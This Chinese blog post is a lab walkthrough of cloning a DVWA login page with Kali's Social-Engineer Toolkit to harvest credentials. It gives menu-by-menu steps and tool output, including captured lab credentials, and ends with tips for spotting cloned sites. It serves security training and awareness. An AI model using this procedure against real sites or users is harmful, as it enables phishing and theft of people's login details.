美文网首页Python学习
社会工程实战-网站克隆凭据收集

社会工程实战-网站克隆凭据收集

作者: 57a3c11096ca | 来源:发表于2017-11-04 14:20 被阅读166次

    0x00 测试拓扑

    0x01 社工思路

    Kali linux通过将DVWA的网站(http://10.121.10.173/DVWA/login.php)进行克隆,然后将克隆后的网站地址(即http://10.121.10.170)发给用户,用户未仔细校对分辩网址的情况下在克隆后的网站地址10.121.10.170中输入原本要登录DVWA系统的登录名和密码,导致这些信息被记录下来。

    0x02 社工步骤

    【Step1】

    root@kali:~# setoolkit 启动社工工具

    [-] New set.config.py file generated on: 2017-08-06 16:03:13.878092
    [-] Verifying configuration update...
    [*] Update verified, config timestamp is: 2017-08-06 16:03:13.878092
    [*] SET is using the new config, no need to restart
    Select from the menu:
       1) Social-Engineering Attacks
       2) Penetration Testing (Fast-Track)
       3) Third Party Modules
       4) Update the Social-Engineer Toolkit
       5) Update SET configuration
       6) Help, Credits, and About
      99) Exit the Social-Engineer Toolkit
    

    【Step2】

    set> 1 选择1,Social-Engineering Attacks社会工程攻击

    Select from the menu:
       1) Spear-Phishing Attack Vectors
       2) Website Attack Vectors
       3) Infectious Media Generator
       4) Create a Payload and Listener
       5) Mass Mailer Attack
       6) Arduino-Based Attack Vector
       7) Wireless Access Point Attack Vector
       8) QRCode Generator Attack Vector
       9) Powershell Attack Vectors
      10) SMS Spoofing Attack Vector
      11) Third Party Modules
      99) Return back to the main menu.
    

    【Step3】

    set> 2 选择2,Website Attack Vectors网站攻击

    The Web Attack module is  a unique way of utilizing multiple web-based attacks in order to compromise the intended victim.
    The Java Applet Attack method will spoof a Java Certificate and deliver a metasploit based payload. Uses a customized java applet created by Thomas Werth to deliver the payload.
    The Metasploit Browser Exploit method will utilize select Metasploit browser exploits through an iframe and deliver a Metasploit payload.
    The Credential Harvester method will utilize web cloning of a web- site that has a username and password field and harvest all the information posted to the website.
    The TabNabbing method will wait for a user to move to a different tab, then refresh the page to something different.
    The Web-Jacking Attack method was introduced by white_sheep, emgent. This method utilizes iframe replacements to make the highlighted URL link to appear legitimate however when clicked a window pops up then is replaced with the malicious link. You can edit the link replacement settings in the set_config if its too slow/fast.
    The Multi-Attack method will add a combination of attacks through the web attack menu. For example you can utilize the Java Applet, Metasploit Browser, Credential Harvester/Tabnabbing all at once to see which is successful.
    The HTA Attack method will allow you to clone a site and perform powershell injection through HTA files which can be used for Windows-based powershell exploitation through the browser.
    
       1) Java Applet Attack Method
       2) Metasploit Browser Exploit Method
       3) Credential Harvester Attack Method
       4) Tabnabbing Attack Method
       5) Web Jacking Attack Method
       6) Multi-Attack Web Method
       7) Full Screen Attack Method
       8) HTA Attack Method
      99) Return to Main Menu
    

    【Step4】

    set:webattack>3 选择3,Credential Harvester Attack Method凭据收集攻击

     The first method will allow SET to import a list of pre-defined web
     applications that it can utilize within the attack.
     The second method will completely clone a website of your choosing
     and allow you to utilize the attack vectors within the completely
     same web application you were attempting to clone.
     The third method allows you to import your own website, note that you
     should only have an index.html when using the import website
     functionality.
       
       1) Web Templates
       2) Site Cloner
       3) Custom Import
      99) Return to Webattack Menu
    

    【Step5】

    set:webattack>2 选择2,Site Cloner网站克隆

    [-] Credential harvester will allow you to utilize the clone capabilities within SET
    [-] to harvest credentials or parameters from a website as well as place them into a report
    [-] This option is used for what IP the server will POST to.
    [-] If you're using an external IP, use your external IP for this
    

    【Step6】

    set:webattack> IP address for the POST back in Harvester/Tabnabbing:10.121.10.170 输入本地监听地址(即网站被克隆到这个IP的主机上)

    [-] SET supports both HTTP and HTTPS
    [-] Example: http://www.thisisafakesite.com
    

    【Step7】

    set:webattack> Enter the url to clone:http://10.121.10.173/DVWA/login.php 输入要克隆的网站

    [*] Cloning the website: http://10.121.10.173/DVWA/login.php
    [*] This could take a little bit...
    
    The best way to use this attack is if username and password form
    fields are available. Regardless, this captures all POSTs on a website.
    [*] Apache is set to ON - everything will be placed in your web root directory of apache.
    [*] Files will be written out to the root directory of apache.
    [*] ALL files are within your Apache directory since you specified it to ON.
    [!] Apache may be not running, do you want SET to start the process? [y/n]: y
    [ ok ] Starting apache2 (via systemctl): apache2.service.
    Apache webserver is set to ON. Copying over PHP file to the website.
    

    【Step8】

    在其他PC机上访问http://10.121.10.170时,出现如下界面,该界面就是从10.121.10.173网站上克隆过来的DVWA登录界面。然后输入用户名密码。

    在此页面上输入用户名密码后,页面立即跳转至http://10.121.10.173/DVWA/login.php(即正常DVWA网站的登录页面)。如下图所示。

    【Step9】

    查看kali linux的社工攻击工具中记录了用户输入的用户名和密码,表面网站克隆后,用户凭据被成功收集。如下所示。

    Please note that all output from the harvester will be found under apache_dir/harvester_date.txt
    Feel free to customize post.php in the /var/www/html directory
    [*] All files have been copied to /var/www/html
    [*] SET is now listening for incoming credentials. You can control-c out of this and completely exit SET at anytime and still keep the attack going.
    [*] All files are located under the Apache web root directory: /var/www/html
    [*] All fields captures will be displayed below.
    [Credential Harvester is now listening below...]
    
    ('Array\n',)
    ('(\n',)
    ('    [username] => admin\n',)   **用户输入的用户名admin被成功记录**
    ('    [password] => p@ssw0rd\n',)  **用户输入的密码p@ssw0rd被成功记录**
    ('    [Login] => Login\n',)
    ('    [user_token] => 8e0b355e4bbf86a78ac1d5dee2f6f396\n',)
    (')\n',)
    

    0x03 网站克隆凭据收集攻击识别及防护

    • 在登录时,输入完用户名和密码后点击登录,发现页面未进行跳转,再一次的需要输入用户名和密码且无任何报错,这时就很有可能信息被收集了。

    • 银行、金融等涉及财务的单位部门不会主动给用户发送链接网址,因此在收到此类的网址后,千万不要随意登录输入信息,请务必跟相关单位确认。

    • 登录涉及金融、个人信息等网站,建议第1次输入时,故意输错用户名和密码。一般网站克隆后只收集1次信息,收集完后会立马跳转至正常的登录界面。

    • 学会辨识常用的银行、金融网址。

    相关文章

      网友评论

        本文标题:社会工程实战-网站克隆凭据收集

        本文链接:https://www.haomeiwen.com/subject/crotmxtx.html